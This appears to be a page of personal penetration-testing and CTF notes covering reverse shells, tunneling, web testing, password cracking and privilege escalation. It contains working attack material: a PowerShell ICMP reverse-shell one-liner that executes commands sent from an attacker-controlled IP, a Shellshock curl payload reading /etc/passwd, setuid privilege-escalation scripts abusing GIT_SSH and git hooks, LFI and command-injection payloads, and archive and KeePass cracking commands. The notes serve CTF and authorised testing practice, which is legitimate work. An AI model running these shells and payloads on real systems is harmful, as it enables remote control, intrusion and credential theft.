Sometimes, inbound and outbound traffic from any port is disallowed and only ICMP traffic is allowed. In that case, we can use Simple reverse ICMP Shell However, this requires the executable to be present on the system. There’s a powershell version of ICMP Reverse Shell Sometimes, probably, we can execute powershell code on the machine. In that case, we can use the one-liner powershell code to execute the shell.powershell -nop -c "$ip='your_ip'; $ic = New-Object System.Net.NetworkInformation.Ping; $po = New-Object System.Net.NetworkInformation.PingOptions; $po.DontFragment = $true; $ic.Send($ip,60*1000, ([text.encoding]::ASCII).GetBytes('OK'), $po); while ($true) { $ry = $ic.Send($ip,60*1000, ([text.encoding]::ASCII).GetBytes(''), $po); if ($ry.Buffer) { $rs = ([text.encoding]::ASCII).GetString($ry.Buffer); $rt = (Invoke-Expression -Command $rs | Out-String ); $ic.Send($ip,60*1000,([text.encoding]::ASCII).GetBytes($rt),$po); } }"
- Convert the file/ code which needs to be transferred in to base64. (If possible, remove all the unnecessary code/ comments, this would help us to reduce the length of the base64). Do make sure that your base64 when converted back is correct! Refer PowerShell –EncodedCommand and Round-Trips
- Utilize the Add-Content cmdlet to transfer the file to the victim system. Do, remember to transfer the data in chunks as we have limited buffer! Probably, we have to run the below command twice or thrice to transfer the whole base64-encoded chunk.
Add-Content <filename> "Base64 encoded content"
- Once the base64-encoded data is transferred, we can utilize certutil from Microsoft to decode the base64-encoded to normal file.
certutil <-decode/ -encode> <input file> <output file> -decode Decode a Base64-encoded file -encode Encode a file to Base64
- Now, we can execute the file (assuming powershell ps1 file) to get the full powershell ICMP reverse shell with buffer management so, we would be able to get full output of the commands.
- Now, most of the time after getting the intial shell, probably, we would have figured out user credentials ( let’s say from www-data or iisapppool user to normal/ admin user credentials. ) At this point of time, we can use the below code to create a PSCredential.
$username = 'UsernameHere'; $password = 'PasswordHere'; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
- Once, we have created a PSCredential, we can use Invoke-Command to execute command as that user.
Invoke-Command -ComputerName localhost -Credential $credential -ScriptBlock {Command to be executed} -ComputerName localhost is required as the code is to be executed on localhost, without -ComputerName, InvokeCommand doesn't work. - Possibly, we can execute the ICMP Shell code to get the shell as the new user.
- One problem, which we gonna face is, when we are running ICMP Shell with different users for example, first with IISWebpool, then with User1, then with user2, we would get multple times IISWebpool as that powershell process (on UDP) is still running. One way to this is Just before launching a new ICMP shell as a different user.
- Check powershell processes with Show-Process
Show-Process -Name *power* "
- Note down the PID
- Execute shell as the different user
- Stop-Process the previous PID
Recovering password from System.Security.SecureString
If we have windows credentials stored as System.Security.SecureString, we can use$BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($SecurePassword)
$UnsecurePassword = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($BSTR)
$UnsecurePassword = (New-Object PSCredential "user",$SecurePassword).GetNetworkCredential().Password
PS> $PlainPassword = Read-Host -AsSecureString "Enter password"
PS> Enter password: ***
PS> $PlainPassword
PS> System.Security.SecureString
PS> $UnsecurePassword1 = (New-Object PSCredential "user",$PlainPassword).GetNetworkCredential().Password
PS> $UnsecurePassword1
PS> yum
Copy To or From a PowerShell Session
This is a awesome feature to copy files from different computers on which we have a WinRM or Remote PS Session. Directly taken from Copy To or From a PowerShell Session- Copy Local files to a remote session :
##Initialize the session $TargetSession = New-PSSession -ComputerName HALOMEM03 ## Copy Files from Local session to remote session Copy-Item -ToSession $TargetSession -Path "C:\Users\Administrator\desktop\scripts\" -Destination "C:\Users\administrator.HALO\desktop\" -Recurse
- Copy some files from a remote session to the local server:
## Create the session $SourceSession = New-PSSession -ComputerName HALODC01 ## Copy from Remote machine to Local machine Copy-Item -FromSession $SourceSession -Path "C:\Users\Administrator\desktop\scripts\" -Destination "C:\Users\administrator\desktop\" -Recurse
Get-Hash
Get-FileHash Computes the hash value for a file by using a specified hash algorithm.PS > Get-FileHash Hello.rst
Algorithm Hash Path
--------- ---- ----
SHA256 8A7D37867537DB78A74A473792928F14EDCB3948B9EB11A48D6DE38B3DD30EEC /tmp/Hello.rst
Active Directory Enumeration and Remote Code Execution
Probably, refer Infrastructure PenTest Series : Part 3 - ExploitationIt contains
- Active Directory Reconnaissance : Information about active directory enumeration with Domain User rights by various methods such as rpclient, enum4linux, nltest, netdom, powerview, bloodhound, adexplorer, Jexplorer, Remote Server Administration Tools, Microsoft Active Directory Topology Diagrammer, reconnaissance using powershell, powershell adsisearcher etc.
- Remote Code Execution Methods : Information about multiple ways to get a execute remote commands on the remote machine such winexe, crackmapexec, impacket psexec, smbexec, wmiexec, Metasploit psexec, Sysinternals psexec, task scheduler, scheduled tasks, service controller (sc), remote registry, WinRM, WMI, DCOM, Mimikatz Pass the hash/ Pass the ticket, remote desktop etc.
Others
- Invoking Net Use using Credentials to mount remote system
The below example executes command on file.bitvijays.local computer with Domain Administrator credentials and utilizes net use to mount Domain Controller C Drive and read a particular file
Invoke-Command -ComputerName file.bitvijays.local -Credential $credential -ScriptBlock {net use x: \\dc.bitvijays.local\C$ /user:bitvijays.local\domainadministrator_user DA_Passw0rd!; type x:\users\administrator\desktop\imp.txt}
Wget
FTP via Wget
If ftp anonymous login is provided or you have login details, you can download the contents by wget, (For anonymous login user password are not required)wget -rq ftp://IP --ftp-user=username --ftp-password=password
wgetrc Commands
output_document = file -- Set the output filename—the same as ‘-O file’.
post_data = string -- Use POST as the method for all HTTP requests and send string in the request body. The same as ‘--post-data=string’.
post_file = file -- Use POST as the method for all HTTP requests and send the contents of file in the request body. The same as ‘--post-file=file’.
-P prefix
--directory-prefix=prefix
Set directory prefix to prefix. The directory prefix is the directory where all other files and subdirectories will be saved to, i.e. the top of the retrieval tree. The default is . (the current directory).
Tricks
- The interesting part with -P Parameter is you can save the file in /tmp if your current directory is /. Let me explain, Let’s say, your current directory is /home/user/ if we do
it would create a tmp folder in the /home/user/ and save the file in that. However, if you current directory is /, it would save the file in /tmp folder, from where you can execute stuff.wget IPAddress -P tmp
- wget accepts IP address in decimal format
- wget shortens the filename if it’s too long. For example, if you provide a filename to the wget which is very long (i.e around 255 character), wget might shorten it. This might be helpful in cases where only a jpg file is allowed to be uploaded, however as wget shortens it, we may try aaaaaaaaaaaa (*255/ somenumber).php.jpg and wget shortens it to aaaaaaa(*255).php
SSH
ssh_config
If you know the password of the user, however, ssh is not allowing you to login, check ssh_config.## Tighten security after security incident
## root never gets to log in remotely PermitRootLogin no
## Eugene & Margo can SSH in, no-one else allowed
AllowUsers example_user1 example_user2
## SSH keys only but example_user1 can use a password
Match user example_user1
PasswordAuthentication yes
## End tighten security
SSH Tunneling
SSH protocol, which supports bi-directional communication channels can create encrypted tunnels.Local Port Forwarding
SSH local port forwarding allows us to tunnel a local port to a remote server, using SSH as the transport protocol.ssh sshserver -L <local port to listen>:<remote host>:<remote port>
Imagine we’re on a private network which doesn’t allow connections to a specific server. Let’s say you’re at work and youtube is being blocked. To get around this we can create a tunnel through a server which isn’t on our network and thus can access Youtube.
$ ssh -L 9000:imgur.com:80 user@example.com
Syntax
-L [bind_address:]port:host:hostport
-L [bind_address:]port:remote_socket
-L local_socket:host:hostport
-L local_socket:remote_socket
Specifies that connections to the given TCP port or Unix socket on the local (client) host are to be forwarded to the given host and port, or Unix socket, on the remote side. This works by allocating a socket to listen to either a TCP port on
the local side, optionally bound to the specified bind_address, or to a Unix socket. Whenever a connection is made to the local port or socket, the connection is forwarded over the secure channel, and a connection is made to either host port
hostport, or the Unix socket remote_socket, from the remote machine.
Port forwardings can also be specified in the configuration file. Only the superuser can forward privileged ports. IPv6 addresses can be specified by enclosing the address in square brackets.
By default, the local port is bound in accordance with the GatewayPorts setting. However, an explicit bind_address may be used to bind the connection to a specific address. The bind_address of “localhost” indicates that the listening port be
bound for local use only, while an empty address or ‘*’ indicates that the port should be available from all interfaces.
tcp4 0 0 *.ssh *.* LISTEN
tcp6 0 0 *.ssh *.* LISTEN
tcp4 0 0 localhost.8080 *.* LISTEN
tcp4 0 0 localhost.8081 *.* LISTEN
ssh -L IP_Address_of_Machine:<Port-which-we-want-to-open-Let's say-9000>:127.0.0.1:<localhost-port-which-we-want-to-map-let's-say-8080> user@IP_Address_of_Machine
ssh -L 10.10.10.10:9000:127.0.0.1:8080 user@10.10.10.10 and
ssh -L 10.10.10.10:9001:127.0.0.1:8081 user@10.10.10.10
Remote Port Forwarding
SSH remote port forwarding allows us to tunnel a remote port to a local server.ssh sshserver -R <remote port to bind>:<local host>:<local port>
Let’s say there’s a wordpress web-application we have compromised and have a www-data shell. Also, let’s say, we are inside a docker environment with the network below
172.16.0.1 Host-Machine
172.16.0.2 WordPress
172.16.0.3 Joomla
172.16.0.4 Mysql
ssh bitvijays@10.10.15.111 -R 3306:172.16.0.4:3306
As we would be probably inside the docker and www-data user, we might not have ssh binary and proper environment variable in that case, we can add below options
./ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o GlobalKnownHostsFile=/dev/null -v -i id_rsa -R 3306:172.16.0.4:3306 -fN bitvijays@10.10.15.111
SSH as SOCKS Proxy
We can use ssh to have a socks proxy to connect to vnc, ssh, rdp if vm is hosting in another vm and then use remmina to access VNC.ssh -D localhost:9050 user@host
-D [bind_address:]port Specifies a local “dynamic” application-level port forwarding. This works by allocating a socket to listen to port on the local side, optionally bound to the specified bind_address. Whenever a connection is made to this port, the connection is forwarded over the secure channel, and the application protocol is then used to determine where to connect to from the remote machine. Currently the SOCKS4 and SOCKS5 protocols are supported, and ssh will act as a SOCKS server. Only root can forward privileged ports. Dynamic port forwardings can also be specified in the configuration file.
proxychains4 remmina/ rdesktop
HTTP
First things
- View Source of the web-page (Ctrl+U).
- Inspect element of the web-page (F12).
- See if there is any hint in the title of the web page. (example: /Magic).
- Check the scroll button! Sometimes, there are too many lines and something hidden in the end of the webpage!
- Check for any long file names such admin_5f4dcc3b5aa765d61d8327deb882cf99.txt; Such long names can be base64-encoded, hex, md5 etc.
- If any login page is implemented asking for username and password. Check how it is implemented? Is it using any open-source authentication modules? If so, look if there are any default passwords for that.
- If there’s a page where redirect is happening (for example, http://example.com or http://example.com/support.php redirects us to http://example.com/login.php) However, the response size for example.com or support.php is a bit off, especially considering the page gives a 302 redirect. We may use No-redirect extension from firefox and view the page. We may also utilize curl/ burp to view the response.
- List of HTTP Headers : Quite important when you want to set headers/ cookies etc.
- Watch for places where the site redirects you (it adds something to the URL and displays the homepage). If you see that happen, try adjusting the URL manually. for example: when browsing
it redirects to
we may find something by adjusting the URL manually to
CSC Austria: CTF Tips and Tricks
Refer SEC Consult – Cyber Security Challenge Austria /CTF Tips & Tricks- Read the source code / comments
- Check for common hidden files / folders (.git, .ssh, robots.txt, backup, .DS_Store, .svn, changelog.txt, server-status, admin, administrator, …)
- Check for common extensions (Example: If you see a index.php file, check index.php.tmp, index.php.bak, and so on)
- Play with the URL / parameters / cookies (Example: If you have a page with index.php?role=user try to change it to index.php?role=admin).
- Get familiar with the website, it’s functionalities and features before starting an in-depth analysis.
- Try to map the full attack-surface of the website! Some vulnerabilities are hidden deep in hard-to-reach functionalities.
- Test for the most common vulnerabilities like SQLi (SQL Injection), XXE (XML Entity Injection), Path Traversal, File Uploads, Command Injection, Cookie Tampering, XSS (Cross-Site-Scripting), XPATH Injection, Unserialization bugs, Outdated software, CSRF (Cross-Site-Request-Forgery), SSRF (Server-Side-Request-Forgery), SSTI (Server-Side Template Injection), LFI/RFI (Local-File-Inclusion / Remote-File-Inclusion), Flaws in Session Management or Authorization Flaws, the randomness of the cookies, and so on.
- If you come across a technology which you don’t know, try to google security writeups for these technologies.
- Try special characters
(‘, “, {, ;, |, &&, \, /, !(), %…)
in all input fields (GET- and POST parameters and Cookies) and check for uncommon responses or error messages.
- To detect blind vulnerabilities (SQL injection, command injection, XSS, …) you can use time delays or requests to one of your web servers (check the access logs).
- If you can provide a path or a filename to the website, you should test for path traversal vulnerabilities. If the application replaces the
“../”
with an empty string, you can try to bypass it by injecting the sequence two times, like:
If the “../” in the center gets replaced, the application will again work with “../”. You can also try different encodings or other removed characters. Moreover, you can try to create or upload (e.g. via archives) a symbolic link.“…/./”.
- If you found a LFI (local-file-inclusion) vulnerability in a PHP website and you want to read the PHP scripts, you can use php-filter (you can’t normally read .php files because the inclusion would try to execute the code instead of displaying it; with php-filter you can first base64-encode the content to display it):
index.php?filename=php://filter/convert.base64-encode/resource=index.php
htaccess - UserAgent
When you see something like this “Someone’s sup3r s3cr3t dr0pb0x - only me and Steve Jobs can see this content”. Which says, only this can see me. Try to see what user-agent it is talking about. The way it is implemented is by use of .htaccess filecat .htaccess
BrowserMatchNoCase "iPhone" allowed
Order Deny,Allow
Deny from ALL
Allow from env=allowed
ErrorDocument 403 “<H1>Super secret location - only me and Steve Jobs can see this content</H1><H2>Lol</H2>”
CGI-BIN Shellshock
To understand shellshock few blogs can be referred such as ShellShocked – A quick demo of how easy it is to exploit , Inside Shellshock: How hackers are using it to exploit systemscurl -H "User-Agent: () { :; }; echo 'Content-type: text/html'; echo; /bin/cat /etc/passwd" http://192.168.56.2:591/cgi-bin/cat
echo "Content-type: text/html"
echo ""
Shellshock Local Privilege Escalation
Binaries with a setuid bit and calling (directly or indirectly) bash through execve, popen or system are tools which may be used to activate the Shell Shock bug.
sudo PS1="() { :;} ; /bin/sh" /home/username/suidbinary
XSS/ HTML Injection
The below will redirect the page to google.com<META http-equiv=“refresh” content=“0;URL=http://www.google.com”>
curl
-k, --insecure
(SSL) This option explicitly allows curl to perform "insecure" SSL connections and transfers. All SSL connections are attempted to be made secure by using the CA certificate bundle installed by default.
This makes all connections considered "insecure" fail unless -k, --insecure is used.
-I, --head
(HTTP/FTP/FILE) Fetch the HTTP-header only! HTTP-servers feature the command HEAD which this uses to get nothing but the header of a document. When used on an FTP or FILE file, curl displays the file size and last modification time only.
HTTP Referer
The Referer request header contains the address of the previous web page from which a link to the currently requested page was followed. The Referer header allows servers to identify where people are visiting them from and may use that data for analytics, logging, or optimized caching.Referer: <url>
<url> An absolute or partial address of the previous web page from which a link to the currently requested page was followed. URL fragments (i.e. "#section") are not included.
Data-URI
Basics of HTTP Data URILogin-Pages
To test login pages, we may use burpsuite intruder and check for different length of response.Delete Tags
Delete all lines between tags including tags:sed '/<tag>/,/<\/tag>/d' input.txt
Tip
Useful when you are accessing the webpage using curl and their LFI and you want to remove the html/ body tags.
HTTP 404 Custom Page
Sometimes, it’s a good idea to look at 404 custom page also. There might be some information stored.Password Protected File
ZIP File
run fcrackzipfcrackzip -D -u -p /tmp/rockyou2.txt flag.zip
-D, --dictionary: Select dictionary mode. In this mode, fcrackzip will read passwords from a file, which must contain one password per line and should be alphabetically sorted (e.g. using sort(1)).
-p, --init-password string : Set initial (starting) password for brute-force searching to string, or use the file with the name string to supply passwords for dictionary searching.
-u, --use-unzip: Try to decompress the first file by calling unzip with the guessed password. This weeds out false positives when not enough files have been given.
rar2john
We can get the password hash of a password protected rar file by using rar2john[root:~/Downloads]# rar2john crocs.rar
file name: artwork.jpg
crocs.rar:$RAR3$*1*35c0eaaed4c9efb9*463323be*140272*187245*0*crocs.rar*76*35:1::artwork.jpg
keepass2john
keepass2john user.kdbx
user:$keepass$*2*6000*222*f362b5565b916422607711b54e8d0bd20838f5111d33a5eed137f9d66a375efb*3f51c5ac43ad11e0096d59bb82a59dd09cfd8d2791cadbdb85ed3020d14c8fea*3f759d7011f43b30679a5ac650991caa*b45da6b5b0115c5a7fb688f8179a19a749338510dfe90aa5c2cb7ed37f992192*535a85ef5c9da14611ab1c1edc4f00a045840152975a4d277b3b5c4edc1cd7da
john --wordlist wordlist --format=keepass hashfile
dmg2john
gpg2john
hccap2john
keepass2john
keychain2john
keyring2john
keystore2john
kwallet2john
luks2john
pfx2john
putty2john
pwsafe2john
racf2john
rar2john
ssh2john
truecrypt_volume2john
uaf2john
wpapcap2john
zip2john
Encrypted Files
Many times during the challenges, we do find encrypted files encrypted by Symmetric key encryption or RSA Public-Private Key encryptionSymmetric Key
If we have the encrypted file and the key to it. However, we don’t know the encryption scheme such as aes-128-cbc, des-cbc.We can use the code written by superkojiman in De-ICE Hacking Challenge Part-1 , it would tell you what encryption scheme is used and then we can run the command to retrieve the plaintext.
ciphers=`openssl list-cipher-commands`
for i in $ciphers; do
openssl enc -d -${i} -in <encrypted-file> -k <password/ keyfile> > /dev/null 2>&1
if [[ $? -eq 0 ]]; then
echo "Cipher is $i: openssl enc -d -${i} -in <encrypted-file> -k <password/ keyfile> -out foo.txt"
exit
fi
done
RSA Public-Private Key encryption
If we have found a weak RSA public, we can use RsaCtfTool uncipher data from weak public key and try to recover private key and then useopenssl rsautl -decrypt -inkey privatekey.pem -in <encryptedfile> -out key.bin
5e14f2c53cbc04b82a35414dc670a8a474ee0021349f280bfef215e23d40601a
xxd -r -p ciphertext > ciphertext3
RSA given q, p and e?
Taken from RSA Given q,p and edef egcd(a, b):
x,y, u,v = 0,1, 1,0
while a != 0:
q, r = b//a, b%a
m, n = x-u*q, y-v*q
b,a, x,y, u,v = a,r, u,v, m,n
gcd = b
return gcd, x, y
def main():
p = 1090660992520643446103273789680343
q = 1162435056374824133712043309728653
e = 65537
ct = 299604539773691895576847697095098784338054746292313044353582078965
# compute n
n = p * q
# Compute phi(n)
phi = (p - 1) * (q - 1)
# Compute modular inverse of e
gcd, a, b = egcd(e, phi)
d = a
print( "n: " + str(d) );
# Decrypt ciphertext
pt = pow(ct, d, n)
print( "pt: " + str(pt) )
if __name__ == "__main__":
main()
SECCURE Elliptic Curve Crypto Utility for Reliable Encryption
If you see, something like this'\x00\x146\x17\xe9\xc1\x1a\x7fkX\xec\xa0n,h\xb4\xd0\x98\xeaO[\xf8\xfa\x85\xaa\xb37!\xf0j\x0e\xd4\xd0\x8b\xfe}\x8a\xd2+\xf2\xceu\x07\x90K2E\x12\x1d\xf1\xd8\x8f\xc6\x91\t<w\x99\x1b9\x98'
Network Information
Sometimes, ifconfig and netstat are not present on the system. If so, check if ip and ss are installed?ip
ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
17: wwan0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
link/ether b2:06:fe:2b:73:c6 brd ff:ff:ff:ff:ff:ff
inet 14.97.194.148/30 brd 14.97.194.151 scope global dynamic noprefixroute wwan0
valid_lft 5222sec preferred_lft 5222sec
hostname
We can also check the ipaddress of the host using hostname commandhostname -I
172.17.0.1 14.97.194.148
ss
ss - another utility to investigate socketsss
-n, --numeric
Do not try to resolve service names.
-l, --listening
Display only listening sockets (these are omitted by default).
-t, --tcp
Display TCP sockets.
-u, --udp
Display UDP sockets.
User Home Directory
If we find that home directory containsFirefox/ Thunderbird/ Seabird
We can utilize Firefox Decrypt is a tool to extract passwords from Mozilla (Firefox/ Thunderbird/ Seabird) profiles. It can be used to recover passwords from a profile protected by a Master Password as long as the latter is known. If a profile is not protected by a Master Password, a password will still be requested but can be left blank.Sudoers file
If the sudoers file contains:secure_path
Path used for every command run from sudo. If you don’t trust the people running sudo to have a sane PATH environment variable you may want to use this. Another use is if you want to have the “root path” be separate from the “user path”. Users in the group specified by the exempt_group option are not affected by secure_path. This option is not set by default.env_reset
If set, sudo will run the command in a minimal environment containing the TERM, PATH, HOME, MAIL, SHELL, LOGNAME, USER, USERNAME and SUDO_* variables. Any variables in the caller’s environment that match the env_keep and env_check lists are then added, followed by any variables present in the file specified by the env_file option (if any). The contents of the env_keep and env_check lists, as modified by global Defaults parameters in sudoers, are displayed when sudo is run by root with the -V option. If the secure_path option is set, its value will be used for the PATH environment variable. This flag is on by default.mail_badpass
Send mail to the mailto user if the user running sudo does not enter the correct password. If the command the user is attempting to run is not permitted by sudoers and one of the mail_all_cmnds, mail_always, mail_no_host, mail_no_perms or mail_no_user flags are set, this flag will have no effect. This flag is off by default.run-parts
run-parts runs all the executable files named, found in directory directory. This is mainly useful when we are waiting for the cron jobs to run. It can be used to execute scripts present in a folder.run-parts /etc/cron.daily
Java keystore file
Refer Java Keytool essentials working with java keystores and openssl essentials working with ssl certificates private keys and csrsSteghide
Looking for hidden text in the images? Utilize steghidesteghide version 0.5.1
the first argument must be one of the following:
embed, --embed embed data
extract, --extract extract data
info, --info display information about a cover- or stego-file
info <filename> display information about <filename>
encinfo, --encinfo display a list of supported encryption algorithms
version, --version display version information
license, --license display steghide's license
help, --help display this usage information
Tip
Sometimes, there is no password, so just press enter.
Git client Privilege Escalation
Git clients (before versions 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 and 2.2.1) and Mercurial clients (before version 3.2.3) contained three vulnerabilities that allowed malicious Git or Mercurial repositories to execute arbitrary code on vulnerable clients under certain circumstances. Refer 12 Days of HaXmas: Exploiting CVE-2014-9390 in Git and MercurialIn one of write-up, Nicolas Surribas has mentioned about two git environment variables GIT_SSH and GIT_TEMPLATE which can be utilized to do privilege escalation if git clone is performed using a suid binary. Imagine a suid binary utilized to do git clone from a remote directory.
GIT_SSH
If either (GIT_SSH or GIT_SSH_COMMAND) of these environment variables is set then git fetch and git push will use the specified command instead of ssh when they need to connect to a remote system. The command will be given exactly two or four arguments: the username@host (or just host) from the URL and the shell command to execute on that remote system, optionally preceded by -p (literally) and the port from the URL when it specifies something other than the default SSH port. $GIT_SSH_COMMAND takes precedence over $GIT_SSH, and is interpreted by the shell, which allows additional arguments to be included. $GIT_SSH on the other hand must be just the path to a program (which can be a wrapper shell script, if additional arguments are needed).echo '#!/bin/bash' > cmd
echo 'cp /root/flag.txt /tmp' >> cmd
echo 'chmod 777 /tmp/flag.txt' >> cmd
GIT_SSH=/home/username/cmd ./setuidbinary(utilizing git clone/ git fetch)
or
echo 'chown root:root /home/username/priv ; chmod 4755 /home/username/priv' > ssh
where priv is binary compiled from suid.c
trace: built-in: git 'clone' 'ssh://root@machine-dev:/root/secret-project' '/mnt/secret-project/'
trace: run_command: '/home/user/ssh' 'root@machine-dev' 'git-upload-pack '\''/root/secret-project'\'''
GIT_TEMPLATE_DIR
Files and directories in the template directory whose name do not start with a dot will be copied to the $GIT_DIR after it is created. Refer Git-initcp -r /usr/share/git-core/templates/ mytemplates
cd mytemplates/hooks
echo '#!/bin/bash' > post-checkout
echo 'cp /root/flag /tmp/flag2' >> post-checkout
echo 'chown username.username /tmp/flag2' >> post-checkout
chmod +x post-checkout
cd ../..
GIT_TEMPLATE_DIR=/home/username/mytemplates/ ./setuidbinary( utilizing git clone/ git fetch)
Metasploit shell upgrade
In metasploit framework, if we have a shell ( you should try this also, when you are trying to interact with a shell and it dies (happened in a VM), we can upgrade it to meterpreter by using sessions -usessions -h
Usage: sessions [options]
Active session manipulation and interaction.
OPTIONS:
-u <opt> Upgrade a shell to a meterpreter session on many platforms
Truecrypt Files
If you have a truecrypt volume to open and crack it’s password, we can use truecrack to crack the password and veracrypt to open the truecrypt volume.truecrack --truecrypt <Truecrypt File> -k SHA512 -w <Wordlist_File>
cryptsetup open --type tcrypt <Truecrypt> <MountName>
Grep in input box?
- If the html code contains the below where $key is the input from the user, and we want to read a particular value
passthru("grep -i $key dictionary.txt"); Remember grep works in a way "grep bitvijays /etc/passwd" is find bitvijays in /etc/passwd. This can be used in reading some files on the disk. - If the above contains
if(preg_match('/[;|&]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i $key dictionary.txt"); }
Here we can use “.* /etc/passwd #”
This command searches for any character in the file and comments out the reference to dictionary.txt
Others
- It is important to check .profile files also. As it might contain scripts which are executed when a user is logged in. Also, it might be important to see how a application is storing password.
- If there’s a RCE in some web-application, probably, one of the way to check RCE is to ping your own machine.
- If OPcache engine seemed to be enabled ( check from phpinfo.php file ) which may allow for exploitation (see the following article)https://blog.gosecure.ca/2016/04/27/binary-webshell-through-opcache-in-php-7/
- Identification of OS:
cat /etc/os-release NAME="Ubuntu" VERSION="16.04 LTS (Xenial Xerus)" ID=ubuntu ID\_LIKE=debian PRETTY\_NAME="Ubuntu 16.04 LTS" VERSION\_ID="16.04" HOME\_URL="http://www.ubuntu.com/" SUPPORT\_URL="http://help.ubuntu.com/" BUG\_REPORT\_URL="http://bugs.launchpad.net/ubuntu/" UBUNTU\_CODENAME=xenial
- Many times if IPv6 is enabled, probably you can utilize IPv6 to connect and bypass firewall restrictions ( If firewall is not implemented at IPv6 level - many times it is not ).
- To find IPv6 from SNMP
Now, convert the decimal value after “iso.3.6.1.2.1.4.34.1.3.2” to hex which would be your IPv6 address “3002:1234:5678:ABCD::1”snmpwalk -v2c -c public prism 1.3.6.1.2.1.4.34.1.3 iso.3.6.1.2.1.4.34.1.3.2.48.1.0.0.0.0.0.0.0.0.0.0.0.0.0.1 = INTEGER: 335544320 iso.3.6.1.2.1.4.34.1.3.2.48.2.0.0.0.0.0.0.0.0.0.0.0.0.0.1 = INTEGER: 335544321 iso.3.6.1.2.1.4.34.1.3.2.48.2.18.52.86.120.171.205.0.0.0.0.0.0.0.1 = INTEGER: 335544323TodoMention examples for IPv6 connect
- Port 139 Open
If you want to access the share you might want to typesmbclient -N -L 192.168.1.2 WARNING: The "syslog" option is deprecated Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.9-Ubuntu] Sharename Type Comment --------- ---- ------- print$ Disk Printer Drivers kathy Disk Fred, What are we doing here? tmp Disk All temporary files should be stored here IPC$ IPC IPC Service (red server (Samba, Ubuntu)) Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.3.9-Ubuntu] Server Comment --------- ------- RED red server (Samba, Ubuntu) Workgroup Master --------- ------- WORKGROUP RED -N : If specified, this parameter suppresses the normal password prompt from the client to the user. This is useful when accessing a service that does not require a password. -L\|--list This option allows you to look at what services are available on a server. You use it as smbclient -L host and a list should appear. The -I option may be useful if your NetBIOS names don't match your TCP/IP DNS host names or if you are trying to reach a host on another network.
So, in the above example, it would besmbclient \\\\IP\\share\_name
If port 139 is open, also run enum4linux, may be it would help get the user listsmbclient \\\\192.168.1.2\\kathy
- Port 69 UDP:TFTP
get or put file
- Ruby Best way to get quoted words / phrases out of the text
text.scan(/"([^"]\*)"/)
- Convert all text in a file from UPPER to lowercase
tr '[:upper:]' '[:lower:]' < input.txt > output.txt
- Remove lines longer than x or shorter than x
awk 'length($0)>x' filename or awk 'length($0)
- Remember, by default cewl generates a worldlist of one word. It by default ignore words in quotes. For example: if “Policy of Truth” is written in quotes. It will treat it as three words. However, what we wanted is to consider whole word between the quotes. By doing a small change in the cewl source code, we can get all the words in quotes, we also can remove spaces and changing upper to lower, we were able to create a small wordlist.
- Got a random string: Figure out what it could be? Hex encoded, base64 encoded, md5 hash. Use hash-identifier tool to help you.
- If a machine is running a IIS Server and we have found a way to upload a file. We can try asp web-shell or meterpreter of asp, aspx, aspx-exe executable formats from msfvenom.
- If we get a pcap file which contains 802.11 data and has auth, deauth and eapol key packets, most probably it’s a packet-capture done using the wireless attack for WPA-Handshake. Use aircrack to see if there is any WPA handshake present.
13:06:21.922176 DeAuthentication (c4:12:f5:0d:5e:95 (oui Unknown)): Class 3 frame received from nonassociated station 13:06:21.922688 DeAuthentication (c4:12:f5:0d:5e:95 (oui Unknown)): Class 3 frame received from nonassociated station 13:06:21.923157 Acknowledgment RA:c4:12:f5:0d:5e:95 (oui Unknown) 13:06:21.924224 DeAuthentication (e8:50:8b:20:52:75 (oui Unknown)): Class 3 frame received from nonassociated station 13:06:21.924736 DeAuthentication (e8:50:8b:20:52:75 (oui Unknown)): Class 3 frame received from nonassociated station 13:06:21.925723 Acknowledgment RA:e8:50:8b:20:52:75 (oui Unknown) 13:06:21.933402 Probe Response (community) [1.0* 2.0* 5.5* 11.0* 18.0 24.0 36.0 54.0 Mbit] CH: 11, PRIVACY 13:06:21.933908 Acknowledgment RA:c4:12:f5:0d:5e:95 (oui Unknown) 13:06:21.934427 Clear-To-Send RA:e0:3e:44:04:52:75 (oui Unknown) 13:06:21.991250 Authentication (Open System)-1: Successful 13:06:21.992274 Authentication (Open System)-1: Successful 13:06:21.992282 Acknowledgment RA:e8:50:8b:20:52:75 (oui Unknown) 13:06:21.992795 Authentication (Open System)-2: 13:06:21.992787 Acknowledgment RA:c4:12:f5:0d:5e:95 (oui Unknown) 13:06:21.994834 Assoc Request (community) [1.0* 2.0* 5.5* 11.0* 18.0 24.0 36.0 54.0 Mbit] 13:06:21.994843 Acknowledgment RA:e8:50:8b:20:52:75 (oui Unknown) 13:06:21.996890 Assoc Response AID(1) : PRIVACY : Successful 13:06:21.996882 Acknowledgment RA:c4:12:f5:0d:5e:95 (oui Unknown) 13:06:22.011783 Action (e8:50:8b:20:52:75 (oui Unknown)): BA ADDBA Response 13:06:22.012314 Acknowledgment RA:e8:50:8b:20:52:75 (oui Unknown) 13:06:22.012827 BAR RA:e8:50:8b:20:52:75 (oui Unknown) TA:c4:12:f5:0d:5e:95 (oui Unknown) CTL(4) SEQ(0) 13:06:22.013330 BA RA:c4:12:f5:0d:5e:95 (oui Unknown) 13:06:22.014874 CF +QoS EAPOL key (3) v2, len 117 13:06:22.015379 Acknowledgment RA:c4:12:f5:0d:5e:95 (oui Unknown) 13:06:22.030226 CF +QoS EAPOL key (3) v1, len 117 13:06:22.030746 Acknowledgment RA:e8:50:8b:20:52:75 (oui Unknown) 13:06:22.043034 CF +QoS EAPOL key (3) v2, len 175 13:06:22.043026 Acknowledgment RA:c4:12:f5:0d:5e:95 (oui Unknown) 13:06:22.054803 CF +QoS EAPOL key (3) v1, len 95 13:06:22.056338 CF +QoS EAPOL key (3) v1, len 95 13:06:22.056859 Acknowledgment 